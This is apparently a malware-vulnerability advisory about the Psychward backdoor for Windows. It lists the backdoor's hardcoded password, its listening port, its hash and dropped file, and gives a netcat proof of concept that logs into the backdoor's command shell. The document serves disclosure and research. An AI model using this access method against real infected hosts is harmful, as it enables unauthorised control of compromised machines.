Backdoor.Win32.Psychward.03.a Weak Hardcoded Password

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Original source: https://malvuln.com/advisory/4b9a42ca1e65cf0a7febbe18f397ef24.txt  
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Threat: Backdoor.Win32.Psychward.03.a  
Vulnerability: Weak Hardcoded Password  
Description: The malware listens on TCP port 13013. Authentication is required, however the password "m4sturb4t10n" is weak and hardcoded in cleartext within the PE file.  
Family: Psychward  
Type: PE32  
MD5: 4b9a42ca1e65cf0a7febbe18f397ef24  
Vuln ID: MVID-2022-0558  
Dropped files: winvxd.exe  
Disclosure: 04/18/2022  
  
  
Exploit/PoC:  
C:\>nc64.exe x.x.x.x 13013  
pwd m4sturb4t10n m4sturb4t10n  
psychward revised 0.3, awaiting your command  
  
  
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